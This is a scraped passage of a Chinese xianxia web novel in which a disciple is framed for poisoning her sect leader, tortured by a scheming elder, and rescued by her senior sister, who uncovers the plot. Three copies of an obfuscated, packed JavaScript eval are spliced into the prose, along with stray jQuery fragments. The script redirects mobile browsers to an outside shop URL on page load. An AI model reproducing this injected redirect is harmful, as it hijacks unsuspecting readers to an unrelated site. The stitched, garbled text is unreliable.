;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590591|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑶扒在门框上喘气,还没来得及开口,一道粉色的影子「嗖」地从她脚边窜了过去。
是莹莹。小狐狸的速度快得像一道闪电,四爪在光滑的石板地上打了个滑,连滚带翻地冲到秦凤兮脚下,然后——站起来了。
牠直立着身子,两只前爪扒在秦凤兮的膝盖上,粉晶色的大眼睛死死盯着那枚续骨丹,鼻尖疯狂耸动,嘴巴微微张开,一条细细的银丝从嘴角垂了下来。
“……”
秦凤兮低头看着自己的灵宠。
莹莹跟了她三年,从未对任何丹药表现出兴趣。牠不爱吃丹药,不爱吃灵果,只偶尔喝几口灵泉,高冷得像个不食人间烟火的小仙子,但此刻,这位「小仙子」正流着口水,两眼放光,尾巴摇得像个疯风车。
”莹莹,不行。“秦凤兮说。
莹莹:”啾——!“
这一声“啾”拖得极长,音调从低到高再到低,转了三个弯,最后以一个颤音结尾,委屈得像是被全世界抛弃了。
月瑶都看呆了。
”它……牠在撒娇?“月瑶难以置信地走过来,”牠不是在撒娇吧?莹莹会这样撒娇?“
莹莹回头看了月瑶一眼,粉色的眼睛里写满了「你帮我说说话嘛」,然后又转回去,把下巴搁在秦凤兮的膝盖上,仰起小脸,做出一副可怜巴巴的表情。
秦凤兮沉默了,她看了一眼手里的续骨丹——这是她炼了七炉、炸了两口丹炉、烧伤三次掌心才换来的成品。每一味药材都是她亲自挑的,火候是她一点一点试出来的,炼成的那一刻她甚至觉得眼眶有点发酸。
她是要给月瑶吃的,但是莹莹从来没有对任何东西表现出这样的兴趣。
三年来,牠不撒娇,不讨食,不黏人,高贵冷艳得像一尊粉晶雕塑。秦凤兮一度以为自己的灵宠天生就是这个性子,现在她知道了——不是不撒娇,是没遇到值得牠撒娇的东西。
”……你一颗,“秦凤兮艰难地开口,”她一颗。我再炼。“
她小心翼翼地把续骨丹掰成两半,一半递给月瑶,一半弯腰放到莹莹面前,莹莹一口叼住,粉色的尾巴炸成了一朵蒲公英,牠没有当场吃。小狐狸叼着那半枚丹药,迈着骄傲的小碎步走到角落里,把丹药放在地上,围着它转了三圈,然后趴下来,用两只前爪捧着,一小口一小口地舔。
莹莹那吃相,比月瑶见过的任何人都优雅,也比任何人都香。
月瑶看着手里的半枚丹药,又看了看莹莹,忍不住笑了出来。
”牠真的好可爱。“她说。
”小叛徒。“秦凤兮面无表情地说,但嘴角微微弯了一下。
月瑶把那半枚续骨丹放进嘴里,丹药入口即化,一股温热的液体顺着喉咙滑下去,像是有人在她体内点了一盏灯,暖意从胸口蔓延到四肢百骸,最后汇聚到骨骼深处。她甚至能感觉到自己的骨头在微微发热——那种热不是灼烫,而是像泡在温泉里,每个骨节都在发出舒服的叹息。
她闭上眼睛,忍不住「嗯」了一声。
再睁开眼时,发现秦凤兮正盯着她看,浅色的眸子里有一种小心翼翼的、几乎称得上紧张的神情。
”怎么样?“秦凤兮问。
月瑶想了想,很认真地说:”好吃…?”
秦凤兮的眉毛抽动了一下,“我问的是药效…感觉怎么样“
”哦,“月瑶歪着头感受了一下,”骨头暖暖的,神清气爽,很舒服。但确实也好吃啊,你是不是放了甘草?“
”……放了。“
”还放了什么?有一股淡淡的甜味,不是灵果的那种甜——“
”月瑶。“
”好好好,“月瑶举手投降,”药效很好,真的。我觉得我的骨头都变结实了。“
秦凤兮看着她,眼底那层紧绷的光终于松了下来,她转过身,开始收拾丹炉,动作比前几天从容了许多。月瑶靠在墙上看她,忽然发现她束发的玉冠今天戴得很正,白衣上一丝灰尘都没有,连袖口都熨得整整齐齐,就像是早就准备好了,等这一刻。
”凤兮师姐。“
”嗯。“
”你炼丹的时候,莹莹是不是一直在外面蹲着?“
秦凤兮的手顿了一下。
”……牠最近几乎每天都蹲在丹房门口。“
月瑶低头看了一眼角落里的莹莹——小狐狸已经把那半枚丹药舔得一干二净,正心满意足地舔爪子,粉晶色的毛发在灯光下泛着柔和的光。
她忽然觉得心里软得一塌糊涂。
秦凤兮炼丹,是因为怕她的骨头撑不住,莹莹守在门口,是因为怕秦凤兮出事。
而牠抢着吃那半枚丹药——也许不是因为贪嘴,是因为牠闻到了主人掌心里的血腥气,知道这枚丹药来得有多不容易。
”凤兮师姐,“月瑶说,”下次炼丹,你教我。“
秦凤兮背对着她,没回头。
但月瑶看到她的耳尖又红了。
“……好。”秦凤兮说。
当天晚上,月瑶在自己的枕头底下发现了一枚完整的续骨丹,比白天那枚大了一圈,丹色更纯,纹路更密,隐隐透着一层青白色的光。
旁边还有一张纸条,上面只有两个字,字迹清冷如冰:
「留着。」
月瑶把那枚丹药握在手心里,笑了很久,然后她把纸条折好,压在了枕头最底下,和那张粗陋的桐木琴放在一起。
9. 惊变
这起突然的变故发生在一个无风的夜。
月瑶是被一阵急促的叩门声惊醒的。莹莹从她枕边弹起来,粉色的毛发根根竖起,喉咙里发出低低的呜咽——不是恐惧,是警告。
“月瑶师妹,掌门有令,请你即刻前往议事大殿!”
门外是执事弟子的声音,比平时尖锐,像是绷紧的弦。
月瑶察觉有异,披衣出门,发现来的不止一个执事——殿前广场上站了十余名内门弟子,个个神色凝重,看她的目光复杂得像打翻了五味瓶。有人在窃窃私语,声音虽然压得很低,但她还是听见了几个词。
“掌门……中毒……极阴之体……心头血……”
月瑶的心猛地一沈。
议事大殿灯火通明。无尘真人坐在主位上,面色灰败,双唇泛着不正常的青紫色,一缕黑色的血线从他嘴角蜿蜒而下,滴在雪白的胡须上。他的呼吸很重,每一次吸气都像是有人用钝刀在刮他的肺。
几个长老围在他身边,正在输送灵力压制毒性。其中一个抬起头,看了月瑶一眼,那目光冷得像腊月的寒冰。
”来了。“长老的声音没有温度。
月瑶站在殿中央,感觉自己像被扔进了冰窖。
她环顾四周——没有秦凤兮。
“掌门中了『噬灵散』,”另一个长老开口,声音不大,但每个字都像钉子一样钉进月瑶的耳里,“这种毒无色无味,溶于灵酒,专伤经脉。整个昆灵宗,只有极阴之体的心头血能炼制此毒。”
殿内安静了一瞬,月瑶张了张嘴,想说什么,但喉咙像被人掐住了。
“昨日灵果宴,你负责掌门的酒杯。”第一个开口的长老站起身,向她的方向走了一步,“宴后掌门便毒发。月瑶,你有何话说?”
月瑶的脑子里嗡嗡作响。灵果宴…酒杯。她确实碰过掌门的酒杯——是之前赵寒的某个同门塞给她的,说是「帮忙递一下」,她没有多想就接了。
但现在想起来,这也太过巧合了,而且那个人的脸,她记不清了…
“我没有下毒。”月瑶说,声音比她预想的要稳。
长老没有理她,转向殿内的执事弟子:“搜她的住处。”
“等等——”月瑶往前迈了一步,但两名金丹期的执事已经一左一右架住了她的胳膊,她挣不开。
秦凤兮赶到大殿时,月瑶已经被带走了。
她只来得及看到一个背影——青衣,马尾,手上薄茧,被两个执事挟着穿过偏门,消失在长廊尽头。
她没有追,不是不想,是不能。
掌门无尘真人坐在主位上,气息微弱得像风中残烛。秦凤兮走到他面前,单膝跪下,伸手搭上他的脉搏——灵力紊乱,经脉中有异物阻塞,毒性正在向丹田蔓延。
“是噬灵散。”旁边的长老说,“这种毒需要极阴之体的心头血炼制。”
秦凤兮的手指微微一颤。
她没有抬头,声音平静得没有一丝波澜“证据呢?”
”我们让人从她住处搜出了这个。“
长老摊开手掌——一只白玉瓶,瓶口封着灵蜡,里面残留着些许暗红色的液体。秦凤兮认得那只瓶子。那是她给月瑶装灵药用的。
”瓶内残留物已验明,正是噬灵散的原液。“长老说,”她来宗门不过数月,无人指使,如何能得到这种失传已久的毒方?“
话没说完,但意思已经很明白了。
月瑶有动机——她被当作药引,取血损寿,怀恨在心。
月瑶有能力——她的心头血是炼制噬灵散的关键。
月瑶有机会——她碰过掌门的酒杯。
人证、物证、动机、能力,样样齐全。
秦凤兮站起来,转身看向殿内所有人。她的目光平静得近乎冷漠,浅色的瞳孔像两块透明的冰,扫过每一个人的脸。
”她住处的禁制,是我亲自设的。“秦凤兮说,”谁能破开我的禁制,把毒药放进去?“
殿内一片寂静。
”这也许是她早就放好的。“一个弟子小声说。
秦凤兮的目光像刀子一样扫过去,那人立刻闭了嘴。
”掌门待她很好,“秦凤兮的声音依然很平静,但每个字都像淬了冰,”她没有动机。“
”哼,也许她从未真心感激——“
”够了。“秦凤兮没有再听任何人的话。她转身走出大殿,白衣在夜风中猎猎作响,没有人敢拦她。
月瑶被关在后山的一间石室里,不是地牢——掌门昏迷前最后一句话是「不要为难她」,所以执事弟子没有绑她,也没有封她的灵力,只是把门从外面锁了,设了三层禁制。
石室很冷,墙壁上有水珠渗出来,顺着石缝往下淌。月瑶坐在角落里,把膝盖抱在胸前,下巴搁在膝盖上,盯着地面上那条细细的水痕发呆。
她想了很多,想那个把酒杯塞给她的人是谁——脸记不清了,但衣服是内门弟子的制式,袖口绣着银色的云纹。
还有,想那瓶噬灵散是怎么出现在她住处的——她的住处有秦凤兮的禁制,除非是元婴期以上的修士,否则不可能悄无声息地潜入。
想掌门会不会死——他送过她浮灵果,说过「她的命也是命」,笑起来的时候满脸褶子像一朵菊花。
想秦凤兮,她现在一定很为难吧。
一边是养育她的师父,一边是……
月瑶咬了一下嘴唇,是什么呢?她不知道自己在秦凤兮心里,到底算什么。
药引?同门?还是……
石室外忽然传来一声轻响,月瑶抬起头,看到门缝里伸进来一根粉色的尾巴尖。
”……莹莹?“
小狐狸从门缝里挤了进来,浑身的毛发湿透了,粉晶色变成了脏兮兮的灰粉色,四只爪子上全是泥。牠嘴里叼着一颗灵果,跑到月瑶面前,把嘴里叼着的小灵果放在她脚边,然后用脑袋使劲蹭她的脚踝。
月瑶的眼眶一下子就红了,她弯腰把莹莹抱起来,小狐狸冰凉的身体贴在她怀里,瑟瑟发抖。牠一定是从洞府一路跑到后山来的——穿过整个宗门,绕过所有巡逻的执事,找到这间偏僻的石室。
”莹莹,怎么找到我的……“月瑶的声音有点哑。
莹莹不会说话,只是把脑袋埋进她的臂弯里,发出细细的、委屈的「啾」声。
月瑶抱着牠,靠在冰冷的石壁上,闭上了眼睛,她没有哭。
但莹莹舔了舔她的下巴,温热的小舌头,一下一下的,像是在说——
没关系的。我在,我陪着你。
秦凤兮没有去见月瑶,不是不想,是不能,她怕自己看到她被关在石室里的样子,甚至会做出一些……不理智的事,她去查了。
从灵果宴开始查。谁布置的宴席,谁经手的酒水,谁负责掌门的席位,谁有机会在酒杯上下毒——她把所有相关的人全部找出来,一个一个地问。
没有人敢不说真话。半步元婴的灵压不是开玩笑的,但所有的线索都指向同一个方向:月瑶。
”那个酒杯是月瑶师妹递给掌门的,我亲眼看到的。“
”我想起来了!宴会前我看到月瑶师妹在后厨待了一会儿,不知道在做什么。”
“还有那只白玉瓶……对,我见过,是月瑶师妹平时装灵药用的瓶子。”
每一个人的证词都在叠加,又或许是趁此机会蓄意陷害!证词像雪球越滚越大,大到秦凤兮几乎要喘不过气。
但她没有停,她在月瑶的住处站了很久,仔细检查每一寸地面、每一道禁制、每一件物品。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590592|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禁制完好无损,没有被强行破开的痕迹。
这说明两件事:要么下毒者的修为远高于她——元婴后期甚至更高;要么,禁制是被从内部打开的。
从内部打开,秦凤兮闭了一下眼睛,把这个念头压下去。
她蹲下来,仔细查看月瑶的枕头——那里压着一张纸条,上面是她自己写的「留着」两个字,旁边是那枚续骨丹,用灵蜡封得好好的,月瑶没舍得吃。
秦凤兮把那枚丹药握在手里,指节发白。
她忽然闻到一丝极淡的气味。
不是续骨丹的味道,也不是灵蜡的味道——是另一种东西,残留在纸条的边缘,像是有人翻看过这张纸条,在指尖留下了痕迹。
她凑近闻了一下。
灵麝香。
这不是月瑶用的东西。月瑶身上永远是皂角和灵泉水的味道,干干净净的,像雨后的青石板。
灵麝香是元婴期以上的修士用来养护法器的高级香料,整个昆灵宗能用得起的,不超过十个人。
秦凤兮把纸条收进袖中,站起身。
她的表情没有变化,但浅色的瞳孔深处,有什么东西在缓慢地、安静地燃烧。
当天夜里,秦凤兮去了掌门的寝殿。
无尘真人仍然昏迷不醒,面色比白天更差了。几个长老轮流守着,看到秦凤兮进来,自动让开了一条路。
秦凤兮在床边坐下,伸手搭上师父的脉搏。
毒性已经蔓延到心脉了。
她沉默了很久,然后从袖中取出一只玉瓶——里面装的是她自己的血。不是普通的血,是她用灵力从经脉中逼出来的、带着些许魔凰之力的本命精血。
魔凰之火能焚尽万物,包括噬灵散的毒素。
但这会加速她体内魔凰血脉的反噬。
她没有犹豫,一滴,两滴,三滴!
黑色的血线从掌门嘴角的伤口里被逼出来,落在玉碗中发出「嗤嗤」的腐蚀声。掌门的脸色以肉眼可见的速度恢复了一丝血色。
”凤兮——“一个长老想要阻止她。
秦凤兮没有理会,她把三滴本命精血全部渡入师父体内,然后站起身,动作平静得像刚做完一件微不足道的小事。
“师父一定会醒的!”她说。
然后她转身走向门口,在跨出门槛的那一刻,停了下来。
“从今天起,谁都不许动月瑶。”她的声音很轻,但殿内每一个人都听得清清楚楚,“案子我会查。但如果让我知道有人趁机为难她——”
她没有说完,也不需要说完,走廊上的夜风吹动她的衣袍,月光照在她脸上,浅色的瞳孔像两块寒冰,映着远方的雪山。
此刻的石室里,月瑶还没有睡,她根本睡不着…
她把续骨丹从枕头底下拿出来看了很多遍,又把纸条上的「留着」两个字用手指描了很多遍。
莹莹蜷在她膝盖上,发出均匀的呼噜声。
月瑶忽然想起一件事——给她桐木琴的那个人,她记不清面容的那个人,曾经对她说过一句话。
“丫头,总有一天,你会遇到一个人,她会把你从所有的黑暗中拉出来。”
那时候她太小了,听不懂,现在她好像有点懂了…
石室的门缝里,透进来一线月光。
月瑶看着那线光,轻轻地说了一句话,声音小得只有她自己和莹莹能听见。
“凤兮师姐,我相信你。”
与此同时,秦凤兮正站在议事大殿的最高处,俯瞰着整个昆灵宗,夜风凛冽,吹得她衣袍翻飞。
她手里攥着那张沾有灵麝香的纸条,浅色的眸子在月光下亮得惊人。
“不管你是谁,”她的声音被风吹散,但每个字都像淬了毒的刀,“你惹错人了。”
10. 人心难测
秦凤兮的禁令没有被遵守,或者应该说…有人故意绕过了她。
那是月瑶被关进石室的第三日清晨。秦凤兮整夜未眠,将灵果宴当日所有接触过酒杯的人员名单逐一排查,圈出了三个可疑之人——其中两个在事发后次日便借故离开了宗门,行踪不明。第三个,是赵寒生前的同门师兄,周瑾。
金丹二层,内门弟子,师从长老韩崇。
韩崇。秦凤兮的笔顿了一下。昆灵宗七大长老之一,主管宗门刑律,修为元婴中期,脾气刚硬,素来与掌门无尘真人不和。可掌门却待他极好,甚至掌门中毒昏迷后,宗门事务暂由韩崇代理。
秦凤兮收起名单,起身往后山赶去,可是她到晚了。
石室的门大敞着,门口的禁制被撤了个干净。地上有拖拽的痕迹——不是月瑶自己走的,因为石板的缝隙里嵌着几缕青衣的碎布,还有一小片暗红色的、还没干透的血迹。
秦凤兮的瞳孔骤然收缩,心头一震!
她顺着痕迹追到后山更深处的一间地牢——那地方她知道,是韩崇管辖的「冰狱」,专门关押叛宗重犯的地方。地牢建在雪山腹地,终年不化,温度低到灵力都会凝结。
门口有两名执事弟子拦住了她。
“秦师姐,韩长老有令——”
秦凤兮没说话。她甚至没有抬手。两名金丹初期的执事同时感到一股无法抗拒的灵压压了下来,双腿一软,直接跪在了地上,她用力推门径直闯了进去。
此刻冰狱里冷得像万年墓穴。
墙壁上结着厚厚的霜,每一脚踩下去都能听到冰层碎裂的声音。空气稀薄而刺骨,呼吸间鼻腔里像是有无数根细针在扎,月瑶被锁在最深处的一间牢房里。
不是普通的锁——是锁灵链,黑色的铁链从墙壁中伸出,分别锁住她的手腕和脚踝。链子上刻满了禁制符文,不仅封住了她的灵力,还像活物一样不断收紧,勒进皮肉。
她的青衣上全是血。
有干的,有湿的,层层叠叠,几乎看不出原来的颜色。双手被吊过头顶,整个人悬在半空中,只有脚尖勉强能够到地面。那双琥珀色的眼睛闭着,睫毛上结了一层薄霜,脸颊上有几道鞭痕,嘴角有干涸的血迹。
秦凤兮站在牢房门口,一动不动。
她的表情没有变化。浅色的瞳孔映着月瑶的模样,平静得像一面结冰的湖,但她的手一直在抖。
莹莹从她袖口里钻出来,看了一眼牢房里的情景,发出一声尖锐的、几乎不像狐狸的叫声——像哭泣,像哀鸣。小狐狸眼眶泛红,直接扑到锁灵链上,用牙齿疯狂地咬,咬得满嘴是血,铁链纹丝不动。
秦凤兮弯腰把莹莹捞起来,放进袖中。
她走进去,蹲下来,伸手握住月瑶手腕上的锁灵链。
用本命灵力灌注。
黑色的铁链发出刺耳的吱嘎声,禁制符文一个接一个地亮起,又一个接一个地碎裂。锁灵链在她手中像纸糊的一样被扯断,叮叮当当地落了一地。
月瑶的身体失去支撑,向前倒下来。
秦凤兮接住了她!很轻。比上次抱她的时候轻了很多。怀里的人冰凉得像一块从雪地里捡回来的石头,呼吸浅得几乎感觉不到。
“月瑶!”秦凤兮的声音很轻很轻,轻得像怕把她碰碎。
月瑶的睫毛颤了一下。
她没有睁开眼睛,但嘴唇微微动了动,吐出几个气若游丝的字,“师姐……我没有……下毒……真的……”
“我知道,我相信妳。”秦凤兮说,她把人横抱起来,转身往外走。
门口,韩崇也赶过来了。
元婴中期的灵压如山一样压下来,冰狱的走廊在这股灵压下发出不堪重负的呻吟。韩崇站在门外,一身玄色长老袍,面容冷硬如石刻,目光落在秦凤兮怀中的月瑶身上,像看一只蝼蚁。
“秦凤兮,立刻放下她。”韩崇的声音低沉,带着不容置疑的威严,“此女涉嫌毒害掌门,证据确凿,按宗门律法当受刑讯。”
秦凤兮没有停下脚步。她抱着月瑶,一步一步往前走,每一步都踩得很稳。
“我说,放下——”
“韩长老。”秦凤兮终于开了口。她的声音不大,甚至比平时还要轻一些,但冰狱里所有人都在那一刻感到了一种本能的恐惧——不是来自灵压,而是来自声音里那种过于平静的、近乎空洞的东西。
像是暴风雪来临前的寂静,又像是冰层下面奔涌的暗流。
“谁允许你私自对她用刑的?”秦凤兮问。
韩崇皱眉“宗门律法规定,重大嫌疑人在案件未明之前——”
“我早就交代过了,谁都不许动她。”
秦凤兮抬起头,浅色的瞳孔直直地看着韩崇。那是韩崇第一次在这个年轻弟子眼中看到这样的东西——不是愤怒,不是威胁,而是一种比愤怒更可怕的、绝对的、不容置疑的宣告。
“掌门昏迷,宗门事务暂由我代理——”韩崇仍试图维持威严。
“代理?”秦凤兮打断了他。
她的唇角微微弯了一下——不是笑,是某种比冷笑更冷的东西。
“韩长老,掌门中毒不过三日,你便急着动他的人。掌门说过,『谁敢动她一根头发,就是与我无尘为敌』。掌门还没死,你就把这句话当耳旁风了?”
韩崇的脸色瞬间变了。“你放肆——”
“我放肆?”秦凤兮的声音忽然拔高了一丝,冰狱顶上的霜雪被这股声浪震得簌簌落下,“宗门律法规定,重大嫌疑人不得动用私刑,须经三位长□□同审议通过后方可进行刑讯。你一个人、一道令、一夜之间,把人从禁闭石室拖到冰狱里上锁灵链用刑——韩长老,你跟我谈宗门律法?”
韩崇沉默了。
秦凤兮没有再看他。
她抱着月瑶从他身边走过,错身的那一刻,她停下脚步,声音低得只有韩崇能听见。“她身上每一道伤,我都记着。“
秦凤兮没有带月瑶回寝居。
她把人带到了掌门的寝殿——无尘真人仍然昏迷,但掌门的寝殿的灵气最浓,温度最高,最适合疗伤。她把月瑶放在掌门床边的软榻上,伸手探了探她的脉搏。
很弱。但不是不能救。
秦凤兮从袖中取出那枚续骨丹——月瑶没舍得吃的那枚——捏碎成粉末,混着灵泉水,一点一点喂进她嘴里,然后她开始处理伤口。
手腕上的勒痕深可见骨,锁灵链的禁制灼伤了经脉,需要一点一点用灵力修复。脸上的鞭痕倒是浅,但一道一道地交叠着,从颧骨一直延伸到下巴。
秦凤兮的手很稳,但坐在旁边的莹莹看到,她的眼眶红了。
不是那种泫然欲泣的红,而是一种更内敛的、更压抑的红——像是血液从眼底渗出来,又被她硬生生逼了回去。
”……月瑶没有下毒。“秦凤兮对着昏迷的掌门说,声音很轻,”师父,你知道的。她不会。“
掌门没有回应。
秦凤兮把月瑶的手握在手心里,拇指轻轻摩挲着她虎口处那道被铁链勒出的伤。
”我会把一切都查清楚的。“她说。
真相来得比秦凤兮预想的要快,因为有人慌了,狗急跳墙。
秦凤兮放出消息:她已经从纸条上的灵麝香找到了线索,锁定了某个元婴期以上的修士。同时,她公开表示,掌门体内的噬灵散毒素已经被她用魔凰精血逼出大半,掌门随时可能醒来。
消息放出的当天夜里,有人试图闯入掌门寝殿,并不是要杀掌门——而是要毁掉掌门体内残留的毒素,销毁证据。
可这个人低估了秦凤兮,她在寝殿外面守了整整一夜,凌凊剑出鞘三分,剑气将整座寝殿笼罩得像一个铁桶。闯入者刚碰到禁制,就被她一剑钉在了廊柱上。
周瑾。金丹二层。韩崇的弟子。
秦凤兮没有杀他。她把他钉在那里,让所有路过的人都看到,然后当众审问。
灵压之下,周瑾撑了不到半柱香的时间就全招了。
是韩崇指使的。
毒是韩崇从宗门密库中取出的失传毒方,交由周瑾炼制。月瑶的心头血——是此前秦凤兮取血时,周瑾趁机在秦凤兮的洞府外截获了一滴残留的血样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590593|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
韩崇用元婴期的修为破开月瑶住处的禁制,放入毒瓶,伪造证据。灵果宴上递酒杯给月瑶的人,也是周瑾安排的同谋。
韩崇的动机很简单:掌门昏迷,他代理宗务;月瑶定罪,秦凤兮受牵连失势;他便可趁机夺取昆灵宗的实际控制权。
为了这个,他不惜毒害掌门,为了这个,他把一个十七岁的女孩锁在冰狱里用刑。
秦凤兮听完,沉默了很长时间,然后她站起来,毅然决然走向韩崇的住处。
韩崇没有跑,不是不想,是已经来不及了——秦凤兮早在放出消息的同时,便通知了另外两位长老,联手封锁了山门。元婴中期的韩崇,被堵在了自己的寝殿里。
秦凤兮推门进去的时候,韩崇正坐在蒲团上,面前摆着一壶茶,两个杯子。
”来了。“韩崇说,语气平静得像在等一个老朋友。
秦凤兮没有坐,她站在门口,凌凊剑横在身前,浅色的瞳孔里没有愤怒,没有仇恨,只有一种干净的、近乎残酷的清明。
”韩长老,你毒害掌门,陷害月瑶,私设刑堂,勾结内门弟子伪造证据。“她一条一条地列出来,声音平稳得像在背书,”按照宗门律法,该当何罪?!”
韩崇只是端起茶杯,喝了一口。
“废去修为,逐出宗门,永世不得踏入昆灵宗半步。”他说,“若情节严重,当场处决…”
“你知道就好。”
秦凤兮拔剑。
韩崇忽然笑了,笑得苍凉而讽刺:“秦凤兮,你难道真以为这件事就这么完了?你以为查到我这里,就没有人了?”
秦凤兮的剑尖停在他咽喉前三寸。
“你什么意思?”
“我只是个棋子,”韩崇放下茶杯,直视着她,“真正的幕后之人,不在昆灵宗。至于是谁——你很快就会知道了,我就看到时你还能护那丫头多久…“
他的嘴角溢出一丝黑色的血,秦凤兮反应极快,一掌拍碎他手中的茶杯,但已经晚了——韩崇的嘴角已经涌出大量黑血,瞳孔迅速扩散,身体像一截枯木一样向后倒去。
毒。他早就服了毒。
秦凤兮蹲下来,探了探他的脉搏。已经没有了。
她盯着韩崇的尸体看了很久,然后伸手翻开他的衣领——后颈上,有一个暗红色的印记,像是某种烙印,又像是某种标记。
不是昆灵宗的标记,她没有见过这个图案。
但她知道,从这一刻起,事情远比她想的大。
月瑶醒来的时候,发现自己躺在一个很暖的地方。
空气中有淡淡的药香,还有一丝熟悉的、清冽的雪松气息。她动了动手指,碰到了一个温热的东西——是一只手,修长的、骨节分明的手,正轻轻地握着她的。
她艰难地睁开眼睛。
秦凤兮坐在床边,白衣上还有没干的血迹——不是她自己的。月瑶迷迷糊糊地想。
“……凤兮师姐。”
”嗯。“
”我……“
”别说话。“秦凤兮的声音很轻,但月瑶听到了里面一丝极细微的颤抖,像是冰面上出现了一条裂缝,”你先好好养伤。“
月瑶看着她。秦凤兮的眼眶是红的,但没有眼泪。她看上去依然平静,依然克制,依然像一座不可撼动的冰山,但月瑶看到了那条裂缝。
她慢慢地、吃力地抬起手,指尖轻轻碰了碰秦凤兮的脸颊。
”秦凤兮…你哭了。“月瑶说。
秦凤兮偏过头,避开她的目光。
”我才没有…“
”你有。“月瑶的嘴角弯了一下,扯动了脸上的伤口,疼得她嘶了一声,但还是笑了,”眼睛红红的,像莹莹偷吃了辣椒。“
秦凤兮没说话。
过了很久,她转回头,低下头,额头轻轻抵在月瑶的手背上,”月瑶…对不起。“她说,声音闷闷的,像从很深很深的地方传上来,”我来晚了。“
月瑶的手指在她手背上轻轻敲了两下。
”不晚,“她说,”你来了就好。“
窗外,天快亮了,雪停了。
11. 舊事
掌门是在月瑶醒来之后的第二天清晨甦醒的。
无尘真人再睁开眼睛的时候,第一眼看到的是床顶上那盏长明灯。灯火摇曳,将帐幔的影子投在青灰色的石壁上,如同一只颤动的蝶。他眨了眨眼,瞳孔缓慢地聚焦,然后他闻到了药香、灵泉水的气息,以及一股清淡冷冽的、属于秦凤兮的雪松冷香。
秦凤兮坐在床边的矮凳上,手里捧着一碗还散发着热气的汤药。她的白袍穿戴整齐,玉冠端端正正,面色平静得像一碗没有波澜的水。但如果无尘真人看得再仔细一些——他活了四百多年,看人的本事自然是有的——他会发现她眼底有一层极淡的青色,像是连续数夜未眠留下的痕迹。
“师父,您醒了…“秦凤兮说,声音很轻,像是怕惊动什么。
无尘真人看着她,嘴唇动了动,第一句话却不是问自己的身体,不是问宗门发生了什么,而是——”那孩子呢?“
秦凤兮端药的手微微顿了一下。
”月瑶在隔壁。“她说,声音平稳,但碗沿上她的指节微微发白,”她受了些伤,已经处理过了,没有性命之忧。“
无尘真人闭了一下眼睛,叹了口气…
四百年的修道生涯,他经历过无数风浪——魔道入侵、宗门内斗、更甚有师兄弟反目、道侣陨落——他以为自己已经学会了在任何变故面前保持从容。但此刻,他感到一种钝痛从胸口蔓延开来,不是毒,是别的什么东西。
他栽培了四百年的弟子,他亲口说过「谁敢动她一根头发就是与我无尘为敌」的那个孩子,在他昏迷的时候,被人锁在冰狱里。
而他只能躺在这,什么都没能做到。
”韩崇呢?“无尘真人问。声音不大,但秦凤兮听出了那三个字里的分量——不是愤怒,是一种比她从未见过的、更沈更重的东西。像是雪崩之前,整座山都在安静地积蓄力量。
”他死了…“秦凤兮垂下眼帘,”是服毒自尽。他死前只说自己只是棋子…还对我说真正的幕后之人不在宗内。“
无尘真人沉默了很长时间。长明灯的火苗跳了一下,像是在叹息。
”凤兮……去把月瑶叫来。“他坐起身,”我有话要说。“
隔壁,月瑶是被莹莹叫醒的。
毛茸茸的小狐狸跳到她枕头上,用冰凉的鼻尖拱她的脸,拱了三下,又用尾巴扫她的下巴。月瑶迷迷糊糊地睁开眼,看到莹莹嘴里叼着一件叠好的外袍——是秦凤兮的,白色的,领口绣着极细的银色云纹。
月瑶愣了一下,然后扬起嘴角,她笑了。莹莹这是要她穿得整齐些再去见掌门。
”知道了知道了,“她接过外袍,摸了摸小狐狸的脑袋,”莹莹宝贝!你比你主人还会照顾人。“
莹莹倒是得意地翘起尾巴,发出一个短促的”嘤!“
月瑶穿着秦凤兮的外袍走进掌门寝殿时,秦凤兮正扶着无尘真人靠在床头。掌门的脸色依然灰败,但比中毒那日好了许多,青紫色的毒线已经退到脖颈以下,像一条被驯服的蛇,安静地蛰伏在衣领下面。
月瑶在门口站了一瞬,随后进屋,规规矩矩地行了个礼:”拜见掌门。“
无尘真人看着她。锐利的目光从她被锁灵链勒出伤痕的手腕,到她脸上还未完全消退的鞭痕,到她穿着秦凤兮外袍而显得有些空荡荡的肩膀。他看得很慢,很仔细,像是在确认什么。
”过来。“他说。
月瑶走过去,在床边站定。无尘真人伸出枯瘦的手,轻轻搭在她的头顶,像长辈抚摸晚辈那样,拍了拍。
”丫头…受苦了。“他说。
月瑶的眼眶一下子就红了,她咬了咬嘴唇,把眼泪逼回去,声音有点哑:”没……没有掌门受苦,您差点被毒死。“
无尘真人笑了。那笑容里没有平日的温和慈祥,而是一种更复杂的东西——像是自嘲,又像是悲悯,还有一丝极淡的、几乎无法辨认的愧疚。
